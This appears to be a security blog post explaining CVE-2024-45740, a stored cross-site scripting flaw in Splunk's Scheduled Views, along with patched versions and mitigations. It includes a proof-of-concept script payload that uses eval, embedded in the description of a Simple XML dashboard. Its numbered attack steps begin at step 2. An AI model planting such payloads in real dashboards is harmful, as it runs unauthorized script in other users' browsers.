In this long-read post, we will dig deep into CVE-2024-45740 - a security vulnerability affecting Splunk Enterprise versions below 9.2.3 and 9.1.6, and Splunk Cloud Platform versions below 9.2.2403. We will explore the potential exploit opportunities available to low-privileged users that do not hold the "admin" or "power" Splunk roles, and how they can craft malicious payloads through Scheduled Views. This cunning exploit can, ultimately, result in the execution of unauthorized JavaScript code in the browser of a targeted user.

As a critical cybersecurity concern for organizations using Splunk for data analytics and monitoring purposes, it's crucial to understand how this vulnerability could disrupt your systems and put sensitive user data at risk. Throughout this post, we will provide technical details, sample exploit code snippets, and links to the original references for a comprehensive investigation.

The Vulnerability

CVE-2024-45740 is classified as a Cross-Site Scripting (XSS) vulnerability, which enables attackers to inject malicious scripts directly into a trusted website or application. In the specific context of Splunk, the exploit revolves around the manipulation of Scheduled Views – a tool used for creating and sharing custom dashboards within the platform.

Our attacker is a low-privileged user on the Splunk platform, without "admin" or "power" roles.

2. They craft a malicious payload using a JavaScript code snippet, strategically designed to take advantage of the Scheduled Views feature.

<script>
    (function() {
        var exploit_code = "alert('Executing Unauthorized JavaScript Code!');";
        eval(exploit_code);
    })()
</script>

3. The attacker then embeds the malicious payload into the description field of a Scheduled View via Splunk's Simple XML language:

<dashboard>
    <description><![CDATA[<script>(function(){var exploit_code="alert('Executing Unauthorized JavaScript Code!');";eval(exploit_code);})()</script>]]></description>
</dashboard>

4. Finally, the attacker shares this Scheduled View with other users on the platform. When an unsuspecting user views this dashboard, the unauthorized JavaScript code will execute within their browser environment.

External References

- For the original information regarding CVE-2024-45740, you can visit Splunk's official Security Advisory at https://www.splunk.com/en_us/security-advisories.html

- To learn more about Cross-Site Scripting (XSS) vulnerabilities, the OWASP foundation provides comprehensive documentation here: https://owasp.org/www-community/Types_of_Cross-Site_Scripting

- The complete Splunk Simple XML Reference documentation is available here: https://docs.splunk.com/Documentation/Splunk/latest/Viz/BuildandeditdashboardswithSimplifiedXML

Mitigation and Solution

Splunk strongly recommends updating your Splunk Enterprise instance to version 9.2.3 or 9.1.6, or your Splunk Cloud Platform instance to version 9.2.2403, to mitigate this vulnerability.

If you're unable to upgrade your Splunk instances immediately, be vigilant against potential suspicious activity, monitoring for unauthorized JavaScript execution. Additionally, limit user access to the Scheduled Views feature whenever possible to reduce the attack surface.

In conclusion, CVE-2024-45740 highlights the importance of staying up-to-date on software patches and taking proactive steps to secure your organization's infrastructure. By understanding the potential exploit pathways and staying informed on the latest cybersecurity news, you can better protect your users, data, and systems from harm.

Timeline

Published on: 10/14/2024 17:15:13 UTC
Last modified on: 01/07/2025 16:48:00 UTC